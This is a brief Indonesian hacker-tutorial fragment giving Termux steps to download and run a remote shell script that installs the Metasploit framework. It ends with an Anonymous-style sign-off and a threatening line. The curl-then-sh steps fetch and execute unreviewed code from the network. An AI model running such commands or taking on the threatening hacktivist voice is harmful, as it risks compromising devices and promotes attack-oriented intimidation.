Password: ndasmu

10. ./mass (<https://m.youtube.com/watch?v=HPQQok40v78>)

1 - pkg install curl

2 - curl -LO [https://raw.githubusercontent.com/Hax4us/Metasploit\\_termux/master/metasploit.sh](https://raw.githubusercontent.com/Hax4us/Metasploit_termux/master/metasploit.sh)

3 - chmod +x metasploit.sh

4 - sh metasploit.sh

5 - cd metasploit-framework/

6 - bundle install

7 - bundle install Nokogiri

8 - ./msfconsole

Sekian Tutorial Dari saya semoga membantu :)

\*silahkan mencoba\* \*Ikuti Langkah Demi Langkah\* \*(: Semoga Bermanfaat :)\*

!NC4R14H 535U47U Y4N9 MU574H!1

αиуσιє ϕαи вє αиуτιиg

We are αиσιυмσυs

We Are Legion

We Do Not Forgive

We Do Not Forget

It's too late to Expect Us!

Sekian Dan Terima Kasih.... .. by: ʘ ʘ ʘ MRCX ʘ ʘ ʘ

~~YOU ARE FUCKING DEAD!!~~ #LIVE/HACK '09( 7/7)0

ʘ ʘ ʘ MRCX ʘ ʘ ʘ